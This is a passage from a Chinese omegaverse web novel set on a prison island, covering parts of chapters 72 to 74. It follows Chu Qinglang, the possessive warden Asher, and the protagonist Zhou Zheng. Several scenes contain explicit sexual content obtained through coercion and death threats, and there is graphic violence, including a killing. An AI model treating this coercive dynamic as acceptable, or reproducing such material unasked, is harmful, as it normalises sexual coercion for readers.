骨节分明的手弯曲,苍白的指尖碾动着,不容置疑。 薄薄的指甲刮下一片皮肉,攥住了垂下的帷幕。 放在窗边的玻璃花瓶被晃动的帷幕带倒,咔嚓一声,里面的水溅出来,浇了两人一身。 楚青琅瞳孔震颤着,牙齿紧紧咬住唇,肩颈后脑死死的抵住地面。 从未感受过的感觉铺天盖地的袭来。 他此时感觉自己就像是一个蚌,被人硬生生的撬开,然后塞进了石子。 用最为细嫩的软肉磨着,将那石子变成了一颗颗的珍珠。 等楚青琅回神后,浑身出了一身的冷汗。 他软趴趴的躺在地上,甚至不敢有丝毫动作。 alpha身形高大,黑色披风顺着肩膀滑落,仿佛翅膀一般将omega全然笼罩。 盯着面容涨红的omega,他抬起湿漉漉的手,将其舔舐了个干净。 楚青琅从喉咙中挤出声音。 “给我滚下去!” “全喫下去了,宝贝好棒。” 阿舍尔面上缓缓露出笑来。 信息素诱惑着,将他绵长的无法言说的痛麻变为酥/软。 楚青琅视线空茫了一瞬,心中怒意起来。 他粗暴的,同样碾着花枝钻了进去。 阿舍尔没有拒绝,甚至因为那痛而更加兴奋起来。 楚青琅震惊的看着手中的东西。 他猛地收回了手。 “变态!” 他感觉阿舍尔根本没有痛觉! 明明那么难受! 苍白面颊浮现出晕红,修长的手掐住他的下颌,另一只手极轻微的按了一下。 “说,你会陪着我。” 楚青琅的平坦小腹随着呼吸剧烈起伏着。 叛逆心起来,他冷冷的笑了下。 “做梦!” 阿舍尔手指下滑,花枝被弹动。 猩红眼眸暗沉如渊,不甘和杀意在血河翻涌。 “重新说,不要让我杀了你的好学弟。” “要杀要刮随便。” 楚青琅闭眼,直接将头扭了过去,一副非暴力不合作的架势。 他不管了怎么滴吧? 狗东西敢这样对他! 有本事就给周峥干掉! 他立马强制回主神空间…… 楚青琅恨恨瞪了一眼阿舍尔。 却突然想起面板还是坏的。 他回不去…… 楚青琅有点被自己蠢到了。 算了,还是先安抚阿舍尔吧,他做得的事情迟早会被他还回去。 到时候就不是花枝了。 楚青琅心中盘算着,正准备说话,一旁的门口传来敲门声。 人并没有敢进来,只是在外面报告着。 “监狱长,有人在外散播关于您的谣言,说您建立这个监狱就是为了将他们杀死,并且他们还举出了例子,说先前您易感期的时候,将监狱杀了半空很多人都信了。冯家说是周峥手下的人,人已经抓住了,您要提审吗?” “如若不提审,这边将按照以往的惯例全部击毙。” 阿舍尔没有说话,只是注视着青年。 从他微微张大的眼,到惊愕的神情。 话音落下。 原本躺在身下的omeg全然冷漠下来,仿佛刚刚的嗔怒是幻觉一般。 瞧过来,声音带着急切, “不是他手下,他才来没多久,和你连面都没见过,怎么可能会散播你什么谣言,一定是有人陷害。” “阿舍尔,你不能杀他!” 就这么笃定吗? 如此前后反复的态度,只是因为那个人切实遇见了危险,就全然抛弃了先前的抵抗,朝他求救。 为什么不关心他呢? 明明他都被造谣了。 那些囚犯可不是安心等死的人,他这段时间,会碰见危险的。 心中的空虚感再次扩大,后颈连带着太阳穴抽痛。 阿舍尔握紧掌心的东西。 看着青年猝然咽下接下来的话,隐忍的抿唇。 “就算是杀了他你又能如何?” 楚青琅忽地翘唇笑起来,眼神格外平静。 “那样你永远都会找不到我。” 怎么可能,omega分明就在他的身下,他可以一只囚禁他,直到所有人都将青年忘记。 他不可能找不到他。 脑海中下意识的反驳着,阿舍尔却莫名的心慌起来,心脏加速跳动,在一瞬间,他明明看着omega,却宛如独自伫立。 阿舍尔攥起手,双眼翕动,下意识软了话语。 “你能,付出什么?” 楚青琅用手肘支起身子,中间因为牵扯到下面而倒吸了一口冷气,腰肢陡然软了下去,却被一只手揽着撞进了胸膛。 单薄的衬衣下,有东西被热气打的突出,楚青琅反应了一会儿,张嘴就咬。 挨着的肌肉猛地紧绷,但是在他撕咬的时候,却又放松下来。 直到尝到血腥气,楚青琅才松开了嘴,他轻柔的舔了下。 眼珠上移,俊美的面容加上这个动作,格外靡艳。 “我陪你。” 良久,耳边急促跳动的心跳声变得平稳。 阿舍尔讥诮的声音才在头顶响起。 “呵,好。” * 监狱长房间前。 周峥神色平静的站在门口。 仿佛察觉到了危机,冯家的安东尼奥在找寻监狱长无果后,竟然试图掀起囚犯的暴乱,接着混乱打乱几人的联合,试图逃跑。 怎么能允许他成功呢? 安东尼奥被架着站在身旁,面上满是恨意,仿佛刀子一样,要将他彻底弄死。 周峥将视线落在地板上,却只是想着他的学长。 学长现在在干什么呢? 那位的身份他有在探查,但是不管是狱警还是亚当,一碰见这种问题都默不作声。 讳莫如深的模样,仿佛下一刻就会有人拿着枪击碎他们的脑袋。 就算是监狱长他都能够得到一些信息,那位难道比监狱长的权势还重吗? 周峥从鼻腔呼出气来,碎发下眼眸无光漆黑。 但是不着急。 他还有时间,他还可以成长,只要给他机会。 他并不担心安东尼奥将这件事情栽赃在他的身上,他早就做好准备了。 只是,学长现在在干什么呢? 恍惚间,他嗅到了一股熟悉的甜蜜的香气。 玫瑰,血腥,omega和alpha交融过的味道。 锋利和甜蜜裹挟着他的视线。 后知后觉的,周峥耳旁传来了轻微的脚步声。 远处,黑色的身形拥着一个人由远及近,黑色的大衣将他怀中的人全然掩盖,身上穿着同色的制服,肩章绶带俱全,身形高大,瞧起来格外冷酷,压迫感十足。 灯光下,线条冷硬的帽檐上,金属标志闪着刺眼光泽。 周峥视线茫茫然的,落在那趴伏在alpha怀中的人身上。 莹润白皙的骨节弯曲,紧紧攥住alpha肩膀处的制服,将其抓出了些许的褶皱。 “监狱长!” 两边控制着他们的持枪狱警向着来人敬礼。 一旁,安东尼奥眼中迸射出喜悦来。 “阿舍尔!你相信我那些谣言真的不是我传递的,冯家向来和克莱斯特家族交好…” 被叫做监狱长的alpha神情冷峻漠然,径直朝着屋子里面走去。被忽视的落在身后的安东尼奥被这冷漠的态度弄得瞬间咽下了口中想要扯关系的话。 被四大家族送到墨菲斯特的,都是弃子。 他们不过是顶着个名头,扯着虎皮在这座监狱里面,在这偏僻岛屿里面,作威作福。 和曾经作为克莱斯特家族真正的继承人的阿舍尔,哪里来的交情。 “进去!老实点!!” 身后拿着枪的狱警顶着他们的脊背,周峥却站在那里,久久没有动作。 直到狱警要上枪托揍他的时候,周峥仿佛才反应过来。 步伐僵硬的朝着房间内走去。 * 入目满是金红色泽,火焰一般灼着眼球。 “监狱长,阿舍尔,您也知道我安东尼奥进入墨菲斯特后,一直安分守己,对您从来没有不敬的心思” 周峥站在实木桌子前,定定的看着那相拥的两人,那个夜晚的寒意从未褪去,随着呼吸刺痛着躯体。 一旁的狱警看了一眼阿舍尔,仿佛得到了什么吩咐,转身退了出去。 实木桌子后,alpha靠座在凳子上。 帽檐阴影将双眼完全遮挡,就仿佛面前的两人是空气一般。 苍白大手极具有占有欲的放在漆黑大衣后,里面的人随着轻拍轻微的颤抖着。 在倏然拉高的轻哼中,周围玫瑰信息素浓郁起来。 安东尼奥的讲述瞬间卡顿。 异样的眼光顿时望了过去,他不自觉的吞咽了一下口水。 那个omega蹭着alpha的下颌,大半张脸淹没在大衣领口和黑发中。 偶然间,只有着一抹红穿过苍白漆黑刺入瞳孔,在视网膜上留下长久印记。 安东尼奥舔了下唇,顿时立了起来。 妈的监狱长玩的真花! 这就是那个新来的omega了吧,都快被玩成…… 就在这心照不宣的沉默中,周峥却倏然按着桌子翻身踢了过去。 皮靴顷刻之间来到alpha的眼前,一只苍白的手却突然伸出挡住了他的攻击,衣袖被隆起的肌肉充满,显得异常凶悍。 “嘭嘭!” alpha反手抓住周峥腿关节,手指一错,卸下了他的腿,将他倒着扔到了窗口。 脊背撞击墙壁,发出了一声巨大的响声。 刺痛和眩晕感传来,周峥滑落在地,腿部扭曲着,面上却没有什么表情,甚至于恍惚。 一旁的安东尼奥也一个激灵回过神,看着监狱长那帽檐下阴翳的双眼,本能的腿软起来。 不过就是一个omega,看看也不会怎么样吧? 安东尼奥挂上笑,拿出掌端点出投影。 “监狱长,这是中心城的一块地,克莱斯特家族先前可是为此头疼了许久,您看您要是帮助拿下的话…” “这样,除了这块地,那些传播谣言的蠢货我也都抓了过来,他们都说是被周峥挑唆的,还说周峥非常气愤,经常说自己是被绑架的,要他们趁乱跑出去找警察救他。” “简直蠢的没边了” 对了,周峥。 楚青琅混沌的思绪被这响声弄得清明起来。 这件事他还没有捋清楚。 到底是安东尼奥推出几个废子嫁祸周峥,以此来破坏几个实力的联盟来寻找生机。 还是周峥故意设局,只为了将削弱安东尼奥的势力。 但是为什么要自己来? 楚青琅握住阿舍尔的手,深呼吸了几下,压下了体内翻滚的快/感。 他试图转身,却被一只手按住了后脑。 抬眼,正好瞧见阿舍尔苍白紧绷的下颌。 仿佛感受到他的视线,阿舍尔眼皮垂下盯住了他,沉冷的视线犹如实质,在他的面容和身上燎过。 楚青琅压低嗓音,“放开我。” 周峥要是过来怎么办? 毕竟他在人家面前还是个alpha,而且一直都是很靠谱的角色,这种样子被他看见的话… 楚青琅耳根有点发烧。 他忍不住横了阿舍尔一眼。 要不是阿舍尔瞅准他着急的心态,而且那个东西拔出来更难受,他才不会允许自己被抱过来。 路上阿舍尔手脚倒是规矩,但是一坐下,就直接握了上来。 他甚至能够清晰的感受到那树枝表面凹凸不平的形状。 而且alpha的信息素还使劲将他笼罩,这样高的浓度,就算是没有发/情期,也被引出了发/情期。 阿舍尔凝着他, 仿佛为了配合,他的声音也小了一些。 “放开?让你好学弟看你怎么光……” 楚青琅将他的手拿开,抽出了衬衣的尾部。 里面肌肤冰凉,触感坚韧。 楚青琅毫不留情的扭了一下他的腰,随后又安抚的揉了揉。 阿舍尔闭上嘴,胸口起伏了一瞬,眼下泛了红。 楚青琅凑近,“吃醋就吃醋,别太过分,阿舍尔。” “还有,你就只会这两句话是吧?” 威胁人也要真正实施才有效果,这样只会脸色一冷,叭叭一堆,却从没动过他一根指头的人。 楚青琅还真的生不出气来。 楚青琅抬手,摸着他的脸,直接用力拧了一下,皮肉贴合的面颊被捏出一块肉,诡异的带着几分可爱。 看着alpha颤抖的眼睫,哼了一声。 阿舍尔看着怀中的omega。 他将他所有的很,如此轻易的归结于吃醋? 俊美的面容生动漂亮,一双眼仿佛融着星光。 他肯定不知道他到底用了多大的自制力,才没有直接将那个人杀死,没有将大衣掀起,让那一身的痕迹彻底暴露出来。 “杀了他吧。” 阿舍尔声音冷淡沙哑。 “你…… 楚青琅心一跳,张嘴想要说话,却被苍白手指夹住了舌。 微微用力,就把他口中的话噎了回去。 楚青琅后仰身子,顶歪了alpha的帽檐。 安东尼奥猛地抬头,欣喜的看着面容模糊的alpha。 面前的春色露出更多,但是他全然没了那些心思。 看来监狱长是被他说的地打动了,他就说自己会全身而退的,该死的亚当还不相信。 安东尼奥笑起来。 “非常感谢您。” 他转身朝着依然狼狈的坐在墙边的周峥走去。 他克制的没有使用信息素压迫,毕竟监狱长在这里,而alpha对alpha的信息素会产生本能的厌恶。 徒手,当然也可以。 楚青琅察觉到不对,他猛地用力,咬住了指节将舌头抽了出来。 随即他穿上身上披的大衣,系上带子。 只是在下去的时候,酸麻感电流一般穿过全身,他脚一软,趴在了桌子上。 阿舍尔并未阻拦他。 只是单手支在扶手上,安静的搂着他的侧腰将人又带进了怀抱。 楚青琅按着桌面抬头,却看见了躺在地上的安东尼奥。 鲜血从他的身下缓缓流淌,积蓄成滩。 而周峥,则单腿支撑,斜站在一旁,垂头用袖子擦拭着手中的枪支。 漆黑的枪支表面印着眼熟的标志。 那是,刀疤给他的枪? 楚青琅莫名觉得周峥那里改变了。 “阿峥?” 尾音发飘。 周峥停下手中的动作,缓缓转头,阿舍尔忽地勒紧了他的腰肢。 下颌传来冰冷的温度,一股力道将他的头颅扭过,吻落下,眼前阴影弥散。 透过狭窄的视线。 楚青琅看见周峥望来的目光平静。 第73章 第 73 章 你会被杀死吗? 就算是自己的想法, 也是会骗人的。 青年下颌被强制抬起,粗糙裹起的大衣露出一大片的胸膛,上面红痕遍布。 那双漂亮的桃花眼被羞耻染红,轻吟不断的从鼻腔溢出。 仿佛下一刻就要落下泪来。 学长是omega。 周峥怎么会忽视这个事实, 在最开始嗅到那甜蜜的信息素时, 他就已经明白了。 毕竟alpha的信息素一向只能让他感到厌恶。 是他亲手将学长送了过去。 所以, 记住这个alpha的脸。 记住他给予师兄的, omega的耻辱。 周峥对着alpha满是阴沉杀意的目光,扯起唇冷冷的笑了下。 他是omega, 学长也是omega。 他们是相同的。 这个alpha永远比不上他。 至于现在,他要去取得胜利的果实了。 周峥收回目光,弯下腰,碎发遮挡住他的目光,里面幽深若深渊, 再无往日一丝星光。 他揪住安东尼奥的衣领,一瘸一拐的将人扯了出去。 门外,刀疤安静的站着。 唇边的烟明灭不定。 周峥面无表情的从他身旁经过, 他却忽然伸出手, 拦住了他的去路。 刀疤靠在墙壁上, 咔哒一声将门彻底关闭。 “手段不错,想要逃狱?” 周峥只是将手松开, 尸体砸在地上, 发出一声沉重响声。 “不,只是想要杀死你们。” 刀疤嗤笑了一声,但是在周峥冷漠的注视下,又很快收敛。 他竟然在这个冲动弱小的家伙身上感觉到了危险。 缄默片刻,他却突然道:“你见过监狱长了, 他很强大。” 周峥没有说话,目光偏移,落到了走廊一旁的窗户上。 外面阳光明媚,下面放风的犯人聚成堆,窃窃私语着什么,在铁丝网的一旁,金发蓝眼的alpha仰头,似乎瞧见了他。 他说:“其实安东尼奥说的没错,他应该信的。” 说完,周峥抬脚将沉重的尸体踹了过去。 “啪嚓——” 平整的玻璃瞬间碎裂,四溅的碎片从他的周身面颊划过,血丝很快溢出,滴落在囚服上,洇处暗沉的颜色。 高壮的尸体死猪一般,唰地坠了下去。 片刻间,楼下传来一阵喧哗声。 周峥转身,朝着前面走去。 正好和赶来的狱警擦肩而过。 指间烟灰落下,刀疤看着他背影消失,面露惊疑。 * “看着我,青琅。” 低哑的呼唤在耳边响起。 楚青琅从系统面板上收回目光。 水波粼粼的眼底凝着一片模糊的冷雾 此次的任务格外模糊,并未说他怎么才算是活下去,也没有给他主角攻在莫菲斯特立足的进度。 但是直到现在,任务也没有显示失败。 所以,现在周峥的改变,应该不会对任务产生什么坏的影响吧? 胸口传来刺痛,楚青琅呼了一口气。 阿舍尔跪着背对着他,却偏偏要扭着头够他。 在用力下,额角磕着桌子边缘,红痕在额头显现。 阿舍尔颤抖的交握着双手,如一条被驯服的狼,在主人温柔掌心的轻抚下,呜呜的叫起来。 “嘘,阿舍尔,你可是alpha,声音别这么蒗。” 楚青琅伸手扒开他的嘴,搅弄了一下。 不顾挽留,冷漠的抽回手,带着水渍将人重新按在了地下。 既然任务没有变化,走一步看一步算了。 黑色大衣落在地下,上面摆放着一支青绿的嫩枝。 在灯光的照耀下,湿漉漉的粘液反射出柔和的银色。 * 自从上一次真切的答应后,楚青琅终于得了几天安稳的日子。 阿舍尔松口,允许他自由出入监狱,但是不许和犯人有着任何交谈,尤其是周峥。 而周峥也前所未有的安静了下来,甚至没有因为狱警阻拦他们交谈发什么脾气。 据楚青琅所了解,现在的莫菲斯特监狱,只有两股施力鼎立,周峥先前和亚当联合起来,将冯家和夏家彻底的瓜分干净。 很明显,按照他给周峥的规划,下一步就是吞噬亚撒家族,但是亚当实在不是一个好相与的对手。 所以还需要周峥自己努力一下。 毕竟他只是一个炮灰,对剧情插手太多不是好事。 所以楚青琅选择了冷眼旁观,每天晚上解决一下alpha的易感期,和阿舍尔亲亲密密。 剩下的时间就随便逛。 反正有着狱警和刀疤的保护,基本没有囚犯会不长眼的对他说什么下流的话。 就算是刚开始有那么一两个,在楚青琅瞧不见的地方,也会被周峥或者阿舍尔给处理掉。 而墨菲斯特的囚犯,对于自己惹不起的人是最为敏锐,很快就明白这个omega不是他们可以大放厥词的人。 大海清澈,沙子细腻。 柔滑的嗓音拉长,带着明显的不满。 “太小了。” 宽大的伞遮挡了大部分的阳光,楚青琅躺在椅子上,随手将鲜榨果汁放在了手边的桌子上。 同样穿着狱警制服的刀疤弯腰将手中的鱼递给楚青琅。 白皙修长的手伸出,青年却啧了一声后,猛地拍了一下刀疤的手。 鱼儿瞬间扑腾着摔落在沙发上。 沙子溅起,落在光洁的脚面,异样的感觉使得青年脚趾蜷缩了一下。 水渍顺着指尖滴落,只是顿了一下,一旁跟着的狱警就上前一步,蹲了下去。 楚青琅顺手在他的肩膀上擦拭干净。 对这样的刁难,刀疤并未有着任何的情绪波动,顺从的弯腰,就要将鱼捡起。 但是天边盘旋的海鸥猛地俯冲,将落在地上的鱼儿叼走。 楚青琅看见,不由得笑了一声。 刀疤松开手,任由沙子于指缝掉落。 在直起腰的时候,深邃的目光不着痕迹的在那脚面上停了一瞬,随即转身就要重新朝着海中走去。 只是刚走了一步,他的脚步就猛地顿住。 不远处大海宽无边际,除了海鸥,一向没有任何别的东西。 但是此时,遥遥望去,那海面上却出现了一个黑点,方向明显是朝着莫菲斯特监狱过来的。 而送来囚犯的船昨天刚刚来过,这么短的时间内,不可能再过来一艘。 同样因为阿舍尔的易感期,整座岛屿是封闭的状态,就算是捕鱼或者旅游的船也会找不到通往这座岛屿的航线。 所以这艘船,来做什么? 此时,楚青琅也注意到了远处的船,他刚刚起身,就听见了远处传来问好声。 “监狱长。” “监狱长!” 楚青琅扭头看去。 身形高大的alpha穿着警式制服,衬衣领子上点缀着暗红宝石,外面披着漆黑风衣,帽檐遮挡住他的双眼,只留出一截苍白锋利的下颌。 随着距离的缩短,刀疤上前一步,率先开口。 “监狱长,是否需要派军拦截?” “不需要,让他来。” 阿舍尔停下脚步,脊背挺直,只略略扫了一眼不远处的船,楚青琅看见了他眼中的厌倦和烦躁。 那艘船上的人,好像和阿舍尔有点关系的样子,不然他不会露出这样明显的情绪。 楚青琅若有所思的想。 他站起身,走到了阿舍尔的身旁。 alpha的信息素熟练的向他拢来,几乎将他身上的每一寸,都留下了那冷酷压抑的信息素。 楚青琅伸手攥住他的手腕,“那是谁?” 阿舍尔唇微动,话语隐有讽意。 “我的兄弟,西瑞尔。” 楚青琅指尖颤了下。 西瑞尔,不是剧情开始前被主角攻周峥弄死的那个人吗? 他竟然是阿舍尔的兄弟。 那么阿舍尔就是那段话中杀空墨菲斯特监狱后死亡的人了。 但是当时阿舍尔是因为易感期的问题,而现在他的易感期已经基本解决。 那么西瑞尔过来要做什么? 阿舍尔摊开他的手,将手指挤进他的指缝,和他十指交叉,转身就要离开。 楚青琅诧异的拽他,“你不是过来接他的吗?” 阿舍尔看了一眼刀疤,刀疤向他弯腰,随后挥手将狱警带走。 他说:“我来接你,他还没资格让我在这里迎接。你不是觉得无聊吗?我们去打猎。” 楚青琅眨了下眼。 反正人也要登岛了,如果西瑞尔真的是为了阿舍尔来的,到时候一定会主动找过来的。 他会见到他的。 “那我们走吧。” 楚青琅率先朝着前面走去。 * 岛屿上的树木高大,里面野生动物格外的多。 楚青琅只扫视了一眼,就瞧见了一只野生的灰兔,在树枝间,还有着狐猴在荡来荡去。 阿舍尔拿着猎枪站在他的身后。 “会用枪吗?” 楚青琅没有回话,回身伸手接过枪,掂了掂,然后迅速上膛,抬枪就射。 “砰!” 因为浓密树枝遮挡,远处的天空模糊不清,随着枪声落下,惊起树间休憩的鸟儿。 楚青琅再次抬枪。 这次他轻微调整了一下姿势。 这种枪对于中心城的枪支来说太古老了,上面甚至还有着准星。 “砰!” 随着一只鸟儿僵硬了动作倏然坠落,天空盘旋的聚集在一起的鸟儿迅速四散开来, “八百米。” 阿舍尔上前搂住他的肩膀,“你之前练过?” 楚青琅再次抬起枪,身后的人细微的调整着他的姿势。 “你有我的资料。” 阿舍尔并没有反驳,只是抬腿抵了下他的膝弯,“别这么僵硬。想回去吗?” 资料上,楚青琅是一个有着光明前途的年轻人,不过少年期末期就考到了中心城的第一军校。 现在却沦落到了在这个偏远孤僻的岛屿上,还成了他人的omega。 他应该是恨的。 就像是之前的他一样。 明明前途远大,却被迫蜗居在这小小的岛屿上,只是因为生下来的缺陷。 他怎么会不恨? 阿舍尔嗅着他的信息素,心中却有一道声音冷冷嘲笑。 就像是那个周峥一样,会费尽心机的杀死他。 为了自由。 恨? 楚青琅想要放下枪,却被挟着手臂,对准了远处的兔子。 自从看见了那个西瑞尔,阿舍尔的情绪就不对了起来。 楚青琅皱了下眉。 他只能保持着站立的姿势,感受着耳后轻微的呼吸,他说:“你会放我离开这里?” 苍白的手压着他的指尖,替他按下了扳机,震耳的声音响起,子弹尖啸着从枪□□出。 击中了扑向兔子的蛇。 后坐力使得楚青琅紧贴阿舍尔的胸膛。冰凉的声音轻飘飘的在耳边响起。 “除非我死。” 那你说什么? 楚青琅暗暗的翻了个白眼。 他挣扎了一下,alpha并未拒绝就松开了手。 楚青琅指着远处的猎物,让他去拿。 随后在他弯腰的时候,忽的抬枪对准了他。 “你会被杀死吗?” 阿舍尔好似毫无防备的转身,面容一如既往的冷酷,望过来的目光痴迷,坦然的用胸膛面对着枪口。 “也许。想要试一试吗?” 两人对视,楚青琅放下枪,有些无趣道:“我要见周峥。” 需要加快进度了,如果剧情彻底开始他的任务还没有完成的话,他就彻底失败了。 真是的,这么长时间了,主神空间怎么还没传来消息? 阿舍尔走来,身后鲜血滴了一路。 他弯下腰,看着楚青琅的双眼,伸手刮了下他的面颊,慢条斯理道: “今天晚上不许拒绝,每说一句,就加两次。” 楚青琅只感觉面颊连带着耳根都灼烧起来,他踢了下alpha。 “你要我精/尽人亡?” alpha靠近,轻吻他额头,信息素一波一波的涌来,嗓音带着不易察觉的笑意。 “我会帮你堵住。” 楚青琅揪住他的头发,猛地将人推开,转身就走。 “不需要!!” 苍白的alpha趔趄后退,全身被漆黑制服束着,猩红眼眸里的笑意瞬间消散。 他看着青年的背影消失在原地,脚下却仿佛扎根一般,一动不动。 楚青琅气冲冲的走了许久。 耳边除了自己的脚步声再无半点声响,他才发现阿舍尔并未跟上来。 不远处有着狱警的身影,军绿色的车子在他们中间格外显眼。 他已经得到了阿舍尔的允许,只要现在上车,就可以直接去找周峥对任务的进度。 剧情开始前是西瑞尔掌握了墨菲斯特,而周峥是在杀死西瑞尔后,才接替他掌控的。 但是现在墨菲斯特的掌控者还是阿舍尔,还有着很大的一段时间。 嗯,好吧,他就是有点担心。 楚青琅迈过树根,拨开挡着视野的枝叶,一眼就看见不远处垂着头,神情难辨的,仿佛石膏雕刻而成的人。 “阿舍尔,快跟上。” 光斑落在叶片上,空中,地上。 泛着金黄拢着飞舞的尘埃,打在肩膀,缀着眼睫上。 青年的声音仿佛石凿,石膏像迸出裂缝。 阿舍尔仰头看了下天。 在楚青琅疑惑跟去的目光中,alpha苍白面孔上暗红削薄的唇勾起。 他朝着等待的青年走去。 “好。” “你把蛇扔了?” “难道青琅想吃蛇胆了?也是需要补一补了。” 楚青琅弯曲手臂捣了他一下,随后放下疑虑顺势张开手。 阿舍尔握上,掌心相贴,十指交错。 * 西瑞尔还未下船,便率先派出了人过来装饰了一下监狱和他将住宿的房间。 一副奢靡的贵族做派。 楚青琅看着监狱各处的装饰,一只作势飞翔的鹰被安在栏杆处,楼梯上甚至还铺上了厚厚的的地毯。 他不由得伸手敲了一下那只鹰。 从手感来说,是纯金的。 原来克莱斯特家族这么有钱吗? 楚青琅收回手。 余光中,刀疤从阿舍尔的办公室内出来,面颊带着血痕。 “怎么了?” 他不过是去换了一身衣服,准备等下去见主角攻,怎么阿舍尔就又生起了气。 刀疤避开他的视线,“是西瑞尔大人提出了一些要求。” 看问不出什么,楚青琅也就嗯了一声,擦过他向着办公室走进。 两旁守卫的狱警刚将门打开,一道极为冷冽的嗓音就传了出来。 “西瑞尔,这里是监狱,不是你过家家的地方。” 投影对面的人看不清面容,穿着繁复,背靠栏杆,背景是幽深的海面。 他开口,一连串的话就突突了出来,声音轻快。 “哥哥,你怎么能这样说,我就是想要开个欢迎会而已。船上的人都是过来参观的,顺便哥哥也可以展示一下你在这里的成果啊。” “能够囚禁一个顶级alpha的地方——生死猎场。眷养的羔羊还不知道自己头顶上的铡刀随时会落下吧?” “对于哥哥所建立的墨菲斯特,大家真的很感兴趣呢。” “而且就两天。哥哥,你会同意的吧?” 这些话听起来怎么阴阳怪气的? 楚青琅抬手敲了敲门,声音瞬间吸引了里面人的注意力。 看着那双暗红的眼眸,他说: “阿舍尔,你不是一直不放心吗?要和我一起去吗?” 反正周峥的目的两人都知道,他去见周峥也只是为了询问一下进度,把握一下任务。 而且,有他的帮助阿舍尔才不会疯狂。 alpha并未回话,整个人又陷入了那种缄默的状态。 楚青琅走过去,按住他的手,指腹揉弄着坚硬骨节。 “阿舍尔?” 投影仪前的人影晃动,突地,比起阿舍尔过于冷硬不近人情的面孔来说,更加可亲的脸就出现在了上面。 五官相似,眼眸是通透的暖红,眉眼弯弯,灿烂极了。 “你就是安抚好哥哥的omega?长得真好看。能不能帮我劝劝哥哥,我真的很想开宴会嘛,而且的都拿着克莱斯特家族的名誉打赌了……别挂我呀!” 楚青琅淡淡的望着他,在西瑞尔东拉西扯后,抬手就将通话关闭。 “这人是你弟弟?”他收回手,按着alpha的肩膀靠坐在桌子上,“一点都不像。” 他不喜欢这个剧情人物对阿舍尔的态度。 就好像阿舍尔是什么奇珍异兽一样,还带人来参观。 面前一直沉默alpha伸手搂住他的腰肢,将他抱了下来,像搂着孩子一般。 alpha的手揉捏着他的脖颈,含着凉意道:“所以要开这个宴会吗?” 楚青琅趴在他的怀中,下颌搭在肩膀上,闻言有些疑惑。 “你不愿意就赶他走好了。” 阿舍尔侧头,轻吻他的发。 “我给你选择的机会,去见你的学弟吧。” 楚青琅有些惊讶。 “你不跟我一起?” 冰凉指尖插进细密柔软的发丝间,手背青筋绷起,又很快放松。 阿舍尔没有回话。 第74章 第 74 章 嫂子,考虑我一下。…… 去找周峥的路上, 一排囚犯垂着头在墙壁两旁站着。 每个人的身旁都有一个持枪的狱警按着他们的肩膀。 原来这就是阿舍尔说的让狱警过去做做准备。 这也太夸张了。 楚青琅从囚犯中间走过,两旁都是一颗颗毛茸茸的脑袋。 狱警跟着他的脚步,在即将到达房间的时候,加速迈步将门打开。 楚青琅连手都不需要动, 就畅通无阻的走了进去。 “咔哒——” 狱警甚至贴心的关了门。 真的, 楚青琅知道阿舍尔贴心, 没想到他这么贴心。 虽然一直吃醋, 但是看起来对于他还是很信任的,都没有不让他关门。 就是不知道他说的选择是什么意思。 脑海中胡乱想着, 楚青琅看着靠在床头写着什么的人。 “阿峥。” 他走过去,拉过凳子坐在了他的身旁,“你在干什么?” 周峥仿佛才察觉到他进来,一下子放下了手中的本子扑了上来。 “学长!” 楚青琅避开,拿着那个本子翻看起来。 只一眼, 他就惊讶的挑起了眉,周峥竟然把莫菲斯特监狱的地形给摸清楚了!行动真是迅速。 “这是我画的地图,学长你看。”周峥并没有因为他避开而被打击到。 他指着一条线道:“从这里, 可以直通海岸边, 路上看守的狱警也很少, 只要有着接应的船,掩人耳目的话, 很容易就逃出去。” 楚青琅啪的将本子合上, “你怎么知道的?” 周峥一直在监狱里,平常走在那里都会有狱警看着。更何况,囚犯根本不被允许前往通过那铁丝网后的高墙,而刚刚楚青琅看见的那些道路,就连一些细微的分叉道路和狱警巡逻时间都标注的清楚。 这绝对不是他自己画的, 而是别人给他的。 周峥愣了一下,很快就说:“是亚当给我的,他看见安东尼奥的下场后,觉得在这里还不一定什么时候会被监狱长杀死,就想着要越狱。” 他握着楚青琅的手蹲在了地上,眼神温柔,咬字清晰。 “虽然我的下一个目标是亚撒,但是亚当并不知道,所以他想着要和我打配合,到时候我在宴会上制造混乱吸引监狱长和狱警的注意,然后他们借着西瑞尔的船逃跑。” “后面他说会将我们在这里的事情上报,让人来救我们。” 楚青琅盯了他几秒,“你帮助亚当?” 周峥弯起眼睛笑了,像小孩子炫耀一般说:“怎么会,到时候我会假装制造混乱,然后将这件事情告诉刀疤。到时候,亚当就会被抓住。他一旦被抓住,那么手下的势力就群龙无首,我就可以吞并他的势力了。” “我一直都有在按照学长给我规划的道路走的。” 主角不愧是主角,成长的就是迅速。 楚青琅挣开他的手,双手交叉放在了腹部,“你怎么会知道今天有宴会?” 周峥迷惑的望着他,“是亚当说的,他说西瑞尔每年都会找各种理由过来岛上,就是为了看监狱长。” 他又笑了下,“真没想到,监狱长竟然还有个兄弟,看样子还很关心他。” 关心什么关心?看通话影像里,那个西瑞尔每年过来,怕不是来嘲笑阿舍尔的。 楚青琅下意识的摩挲着指根,陷入了沉思。 如果真的像周峥说的这样,那么今晚的宴会还真的是必须的了。 今天晚上过去,主角攻就彻底的在莫菲斯特站稳了脚跟。到时候除了阿舍尔,监狱中最大的就是他了。 这也代表着,任务可以完成了! 唔,只能暂时委屈一下阿舍尔了,等任务完成了,他会申请留下来一段时间好好陪着他的,反正等剧情开始了,西瑞尔也活不下去。 就先让他傲气一段时间得了。 在他沉思的时候,周峥一直用极为温柔的视线瞧着他,等他点头后,瞬间笑了起来。 骄傲的昂着头说:“我聪明不聪明,学长?” 楚青琅抬手摸了下他的发,又拍了拍他的肩。 “很聪明。” 正准备抽回手的时候,周峥突然按住了他的手腕,神情也带了些许的忧伤。 “学长,我想家了,我想学校和我的朋友了。” “我也想。没事,现在不会有人欺负你了。” 因为他的举动而不适的楚青琅顿时打消了疑心,他顺嘴安抚,弯腰轻轻抱了一下周峥,却换来了更加令人窒息的拥抱。 周峥半跪在那里,仰头搂紧他,将脸全部埋进了他的腹部,声音因为衣服的阻碍变得沉闷。 “学长会一直站在我身边的吧?” “嗯。” 楚青琅像先前在医务室那样,轻抚他的脊背,只以为主角攻是因为之后的事情而心生忐忑。 他是系统,考核任务就是为了帮助主角攻。 周峥是主角攻。 他当然会无条件的站在他的那一边。 * 宴会还是如期举行。 仿佛早就预料到了阿舍尔会答应,西瑞尔带了许多的仆人,这些仆人在来到莫菲斯特的第一时间,就拿着带来的东西,将监狱各处打扫装饰了起来。 